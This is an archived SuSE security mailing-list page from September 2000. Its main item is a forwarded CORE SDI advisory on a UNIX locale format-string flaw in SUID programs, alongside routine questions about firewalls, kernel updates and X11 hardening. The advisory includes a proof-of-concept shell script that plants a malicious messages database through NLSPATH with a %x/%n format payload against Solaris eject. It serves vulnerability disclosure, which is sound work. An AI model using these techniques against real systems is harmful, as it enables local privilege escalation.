September 2000 - openSUSE Security - openSUSE Mailing Lists

Fwd: UNIX locale format string vulnerability
by Nix 05 Sep '00

05 Sep '00

Is SuSE vulnerable to this? I know RedHat is HUGELY vulnerable.. >Delivered-To: petern(a)itaudit.com.au >Approved-By: aleph1(a)SECURITYFOCUS.COM >Delivered-To: bugtraq(a)lists.securityfocus.com >Delivered-To: BUGTRAQ(a)SECURITYFOCUS.COM >Lines: 302 >X-Mailer: Mozilla 4.72 [en] (WinNT; I) >X-Accept-Language: en >Date: Mon, 4 Sep 2000 21:07:14 -0300 >Reply-To: Iván Arce <core.lists.bugtraq(a)CORE-SDI.COM> >Sender: Bugtraq List <BUGTRAQ(a)SECURITYFOCUS.COM> >From: Iván Arce <core.lists.bugtraq(a)CORE-SDI.COM> >Organization: CORE SDI S.A. >Subject: UNIX locale format string vulnerability >To: BUGTRAQ(a)SECURITYFOCUS.COM > > CORE SDI > http://www.core-sdi.com > > UNIX locale format string vulnerability > > >Date Published: September 4th, 2000 (early release) > >Advisory ID: CORE-090400 > >Bugtraq ID: 1634 > >CVE CAN: None currently assigned. > >Title: UNIX locale format string vulnerability > >Class: Input Validation Error > >Remotely Exploitable: Yes (on some systems) > >Locally Exploitable: Yes > >Vulnerability Description: > > This report is being released earlier (it was originally > scheduled for Sept 11th., 2000) due to the fact that > information regarding the vulnerability has been made > public by several vendors. > > Many UNIX operating systems provide internationalization support > according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications > using the of the locale subsystem. > The locale subsystem comprises a set of databases that store language > and country specific information and a set of library functions used > to store, retrieve and generally manage that information. > > In particular a database with messages used by almost all the > operating system programs is keep for each supported language. > > The programs access this database using the gettext(3), dgettext(3), > dcgettext(3) C functions (Sun/Uniforum specifications) or > catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 > specification). > > Generally a program that needs to display a message to the user > will obtain the proper language specific string from the database > using the original message as the search key and printing the results > using the printf(3) family of functions. > By building and installing a custom messages database an attacker > can control the output of the message retrieval functions that get > feed to the printf(3) functions. > > Bad coding practices and the ability to feed format strings to > the later functions makes it possible for an attacker to execute > arbitrary code as a privileged user (root) using almost any SUID > program on the vulnerable systems. > > Alternatively, on some operating systems, the problem can be > exploited remotely using the environment variable passing options > in telnetd. However, a remote attacker must be able to place > the suitable messages database on the target host (i.e. anonymous > ftp, NFS, email, etc.) > >Vulnerable Packages/Systems: > > Sun Microsystems Inc. > Solaris 2.x, Solaris 7, Solaris 8 (x86 and Sparc architectures) > > Silicon Graphics Inc. > IRIX 6.2 to 6.5.8 > > Linux > RedHat Linux > Debian Linux > Conectiva Linux 4.0 or higher > All supported versions of Conectiva Linux use Glibc 2.1.1 > which explicity checks and ignores the NLSPATH environment > variable if the catopen() and catgets() functions are called > from a SUID executable. > Verified and reported by Andreas Hasenak <andreas(a)conectiva.com.br> > > Although the above text is the result of research and email > communications that took place during the last 2 weeks, the > release of security advisories from RedHat, Debian and > Conectiva Linux acknowledging the existence of the problem > seems to probe otherwise. > > Suspected vulnerable [not checked] > AIX > HP-UX > Tru64 (Digital Unix) > SCO OpenServer > SCO Unixware > > Systems not vulnerable > > OpenBSD > As reported by Theo deRaadt <deraadt(a)openbsd.org> > > FreeBSD > As reported by Kris Kennaway <kris(a)FreeBSD.org> > > FreeBSD does not allow the use of the NLSPATH > environment variable in privileged (SUID) applications. > > FreeBSD can not be exploited remotely either, since the > /usr/bin/login program does not use the cat* functions > and is SUID root. > > >Solution/Vendor Information/Workaround: > > RedHat Linux > Refer to the REdHAt Linux announce: > http://www.securityfocus.com/archive/1/79944 > Debian Linux > Obtain patches from http//www.debian.org/security > Refer to the Debian announce: > http://www.securityfocus.com/archive/1/79943 > Conectiva Linux > Refer to the Conectiva Linux announce > http://www.securityfocus.com/archive/1/79960 > Other vendors > Contact vendor for a fix > >Vendor notified on: All vendors were notified on August 22nd, 2000 > >Credits: > > This vulnerability was discovered by Ivan Arce of CORE SDI S.A., > Buenos Aires, Argentina. > > This advisory was drafted with the help of the SecurityFocus.com > Vulnerability Help Team. For more information or assistance drafting > advisories please mail vulnhelp(a)securityfocus.com. > >Technical Description - Exploit/Concept Code: > > Passing unchecked user supplied data as a format string to the > printf(3) functions can lead to unexpected changes of flow > control and execution of arbitrary code in context of the > vulnerable program. The following C program exemplifies > the problem described: > > -----sample.c----- > void main(int argc, char **argv) > { > /* This is proper use */ > printf("%s\n",argv[1]); > /* This is bad use */ > printf(argv[1]); > printf("\n"); > } > ------------------ > In the above example if argv[1] is a string with characters > interpreted by printf(3) as formatting characters, the behavior > of the program can be altered to execute arbitrary code in > a way _similar_ to the exploitation of buffer overflow > vulnerabilities: > > $ cc -o sample sample.c > $ ./sample hello > hello > hello > $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n > %x%x%x%x%x%n%n%n%n%n%n%n%n%n > Memory fault (core dumped) > $ > > Recent posts to computer security lists and related publications > provide good reference material to understand the problem and > possible ways to exploit it. > > It has been found that most programs in many popular operating > systems suffer from this problem derived from the way the > messages database of the locale subsystem is used. > In particular, privileged programs (programs with the SUID bit > set) that execirse access to the database using the gettext(3) > function in a vulnerable manner are directly exploitable and > allow an attacker to obtain root privileges instantly. > The following code exemplifies a common bad coding practice > that makes the cited programs vulnerable: > > main(int argc, char **argv) > { > if(argc > 1) { > printf(gettext("usage: %s filename\n"),argv[0]); > exit(0); > } > printf("normal execution proceeds...\n"); > } > > Here the output of the gettext(3) function > is not validated and passed directly to printf(3). > gettext(3) searches the messages database for a message > that matches the key "usage: %s filename\n" in the > current locale settings and returns it to the caller. > A malicious, unprivileged, user can build and install > a bogus messages database and instruct the vulnerable > program to use it, thus controlling the output of gettext() > and force-feeding formatting characters to printf(3). > The problem above is NOT related to the user input to the > program but instead to the data contained in the messages > database. > > > The following commands demonstrates the problem: > > $ uname -a > SunOS maul 5.7 Generic_106541-02 sun4m Sparc SUNW,SPARCstation-5 > $ ls -l > $ ls -l /usr/bin/eject > -r-sr-xr-x 1 root bin 14352 Oct 6 1998 /usr/bin/eject > $ eject -x`perl -e 'print "ABCDEF". "A"x507` > eject: illegal option -- x > usage: eject [-fndq] [name | nickname] > options: -f force eject > -n show nicknames > -d show default device > -q query for media present > -p do not call eject_popup > $ cat >doit.sh > #!/bin/ksh > export NLSPATH=:`pwd` > echo domain \"messages\" > messages.po > echo msgid \""usage: %s [-fndq] [name | nickname]\\\n"\" >> >messages.po > echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po > msgfmt messages.po > cp messages.mo SUNW_OST_OSCMD > cp messages.mo SUNW_OST_OSLIB > exec eject -x`perl -e 'print "ABCDEF" . "A"x507'` > ^D > $ ./doit.sh >eject: illegal option -- x >effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c00effffa60 >115083effffac44effffad05effffb2c002effffac4effffad023000000000000000000000002eff >ffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2eeffffe9aef >fffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5aefffff72ef >ffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c7ef7d00008 >0610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault > $ exit > > As shown, the SUID program 'eject' follows the user directives to > use a custom (bogus) messages database. The specific way to do > it vary in different operating systems but usually involves > the usage of environment variables (NLSPATH, LC_MESSAGES, LANG, etc.) > and/or locale library functions (textdomain(3), bindtextdomain(3), > etc.) > > The problem however stems from bad coding practices in the > operating system's programs: > - A SUID program should not follow the users directives of > what database it should use, locale databases should be > taken from a secure trusted directory. > > - Output of gettext(3) should not be passed as a format > string directly to printf(3) functions. > > >References > > A good reference for localization and internationalization is > the "Programming for internationalization FAQ": > > http://www.cs.ruu.nl/wais/html/na-dir/internationalization\ > /programming-faq.html > > Sections 3 and 5 describe the locale subsystem and the > X/Open and Sun/Uniforum set of functions for language > independent messages. > > Format string bugs and exploitation are described in: > > http://julianor.tripod.com/usfs.html > http://julianor.tripod.com/kalou-formats.txt > > Recent vulnerabilities involving format strings > http://www.securityfocus.com/bid/1387 > http://www.securityfocus.com/bid/1425 > http://www.securityfocus.com/bid/1572 > >$Id: locale-advisory.txt,v 1.8 2000/09/04 17:14:51 iarce Exp $ > >-- >"Understanding. A cerebral secretion that enables one having it to know > a house from a horse by the roof on the house, > It's nature and laws have been exhaustively expounded by Locke, > who rode a house, and Kant, who lived in a horse." - Ambrose Bierce > > >==================[ CORE Seguridad de la Informacion S.A. ]========= >Iván Arce >Presidente >PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A >email : iarce(a)core-sdi.com >http://www.core-sdi.com >Pte. Juan D. Peron 315 Piso 4 UF 17 >1038 Capital Federal >Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 >Casilla de Correos 877 (1000) Correo Central >===================================================================== > >--- For a personal reply use iarce(a)core-sdi.com Peter Nixon Senior Security Consultant IT Audit & Consulting (ITAC) Pty Ltd http://www.itaudit.com.au mailto:petern@itaudit.com.au

4 6

Trex firewall
by Togan Muftuoglu 05 Sep '00

05 Sep '00

Hi everyone, I want to build a firewall server and I found Trex firewall at http://www.opensourcefirewall.com. The questions are as follows. What are the pros and cons of it ? Are there any specific issuses I need to take care when compiling and/or installing I am planning to use custom compiled kernel from suse 2.2.16 sources ? Are any pointers for further info available ? Thanks in advance -- Togan Muftuoglu toganm(a)turk.net 100% MS FREE Absolutely no component of Microsoft was used in the generation or posting of this e-mail. So it is virus free

1 0

Vmware modem control
by Thomas Michael Wanka 05 Sep '00

05 Sep '00

Hi. This is very security relevant for me, explenations would be too long: I have a Suse 6.3 server that runs Vmware. Under Vmware a win32 OS is loaded and win32 apps will dial out with the external modem (no tcp/ip). I *have* to restrict these operations to a couple of phone numbers. What I was thinking about was a way to scan every dial command from the Linux side and when the phone number does not match the list of allowed numbers the connection would be refused. Probably there is a better way I did not think about. I contacted Vmware too with this question. TIA mike

1 0

sparc
by semat＠wawa.eahd.or.ug 05 Sep '00

05 Sep '00

Hello everyone, Please I realise this is off topic so please address your answers to me off list. Is there suse linux for sparc platform? I have a sparc box and suse is really my preferred distro so if it supports it I will be very happy to get it. Otherwise I have to use redhat.

4 7

kernel update & freeswan
by Steffen Dettmer 04 Sep '00

04 Sep '00

Hi, according to ftp.suse.com the newest update kernel is: Linux version 2.2.16 (root(a)Pentium.suse.de) (gcc version 2.95.2 19991024 (release)) #1 Sun Jul 9 17:51:02 GMT 2000 IIRC this version has some problems with 3com 509c (??) network cards (and vmware?). An update was announced to come up soon (IIRC). Is that update still not available, or did we looked wrong? Second, the latest freeswan.rpm we found on ftp.suse.com installs a module into /lib/modules/2.2.14 which couldn't be load with 2.2.16, so an update for freeswan should be neccesary. Where can we find that? Third, we had trouble updateing the kernel itself. We updated the RPM (rpm -U k_deflt.rpm). After a problem with initrd I executed /sbin/mk_initrd. At boot, kernel said "uncompressing initrd" and showed that dots, but don't stopped drwaing dots (we rebooted a backup kernel after two screens of uncompressing dots). I have no idea what the problem was; finally I made /boo empty, reinstalled the rpm, re-run mk_initrd (and of course lilo if somebody wonders :)), and rebooted - this time with success. Any ideas? oki, Steffen -- Dieses Schreiben wurde maschinell erstellt, es trägt daher weder Unterschrift noch Siegel.

2 2

X listening on 6000?
by Corvin Russell 04 Sep '00

04 Sep '00

Whenever I scan myself, with firewall down, X shows itself as listening on port 6000. I thought this was supposed to be disabled. I found the following suggestion on the internet, but I can't find any 'xserverrc' or equivalent file on my system. How do i do this? I looked at securityportal but precisely this issue does not seem to have been addressed. Thanks Corvin startx -- -nolisten tcp xhosts +local: If you never want to run X programs on a remote machine to display on your local machine, then you may as well shut off this non-essential service The -nolisten tcp is passed directly to the X Server. You may want to put this in a system startup file like /usr/X11R6/lib/X11/xinit/xserverrc or /etc/X11/xinit/xserverrc The xhosts line means "trust all clients who are on local host". This is fine for a workstation with only one user, like a typical home machine. -- Corvin Russell <corvinr(a)sympatico.ca>

1 0

AW: [suse-security] Popper verbosity
by Klug, Boris 04 Sep '00

04 Sep '00

Hi! this does NOT work. You have to uncomment the output lines in the popper code and recompile it. -- i.A. Dipl.-Inf. Boris Klug, boris.klug(a)ibs-ag.de, http://www.ibs-ag.de/ IBS AG engineering consulting software, The Quality Company Rathausstraße 56, 56203 Höhr-Grenzhausen, Fon: 02624/9180-0, Fax: -200 > -----Ursprüngliche Nachricht----- > Von: Roman Drahtmueller [mailto:draht@suse.de] > Gesendet: Montag, 21. August 2000 14:30 > An: Jürgen Bloß > Cc: suse-security(a)suse.com > Betreff: Re: [suse-security] Popper verbosity > > > > Hi. > > > > How can I stop the popper from logging every user access, > even when the > > user did only check to see if there were any new mails. This seems > > hardly the kind of information that needs to be logged every time... > > > > Bye, > > > > Jürgen > > According to the manpage, just remove the "-s" from the line in > /etc/inetd.conf and restart/hangup inetd. > > Roman. > -- > - > - > | Roman Drahtmüller <draht(a)suse.de> // > "Caution: Cape does | > SuSE GmbH - Security Phone: // not enable > user to fly." > | Nürnberg, Germany +49-911-740530 // (Batman Costume > warning label) | > - > - > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com >

4 5

Total system update
by RoMaN SoFt / LLFB !! 04 Sep '00

04 Sep '00

Hi SuSE: I have recently installed 6.4 version and I want to secure my machine. Is there any way for *auto*-updating *all* (installed) RPM's via SuSE web? Which URL should I use to get the more recent Updates for my distro? I think this is a FAQ, I have RTFM... but I want no silly mistakes, so I prefer asking here and get always updated info :-) Thanks folks! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ** RoMaN SoFt / LLFB ** roman(a)madrid.com http://bart.us.es/~roman ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

5 5

Re: [suse-security] Smurf Attacks
by bacano＠esoterica.pt 04 Sep '00

04 Sep '00

Hi2all This is not really about smurf, but lets say it covers the general problem, the Firewall you may have. No matter what, a Firewall is *just* a Firewall. Because life is not that easy, even if you are an example of goodess, stangre things can happend ... it's more or less like the spanish use to say "no creo en las bruxas, preo que las hai, las hai", something like 'i dont beleave in witches, but that they exist, they exist' ... Even being a presentation based on FW-1, most firewalls are vulnerable to the types of attacks demonstrated (explanation and source code are included): http://www.dataprotect.com/bh2000/ This is about the Black Hat Briefings 2000 presentation by Thomas Lopatic (Rhino9), John McDonald (Rhino9) and Dug Song (Monkey.org) Hope it helps somebody, [ ]'s bacano P.S.- Trivia: witch was the geek who traveled to Black Hat, with the box on the sit of the airplane? you got 3 choices ... =) --------------------------------------------- Esta mensagem foi enviada usando o WebPOP II. http://www.via-net-works.pt/email

1 0

Book wanted: Linux security
by Roman Blöth 04 Sep '00

04 Sep '00

Dear reader, I'm looking for a _good_ book on linux system security (something like one of these "hacker guides"). If you could recommend a book your answer would greatly be appreciated. Best regards, Roman Blöth. -- gosub communications GbR | Fredersdorferstr. 10 | 10243 Berlin | Germany phone: [+49] (-30) 29 66 88 81 | fax: [+49] (-30) 29 66 88 84 | http://www.gosub.de

4 3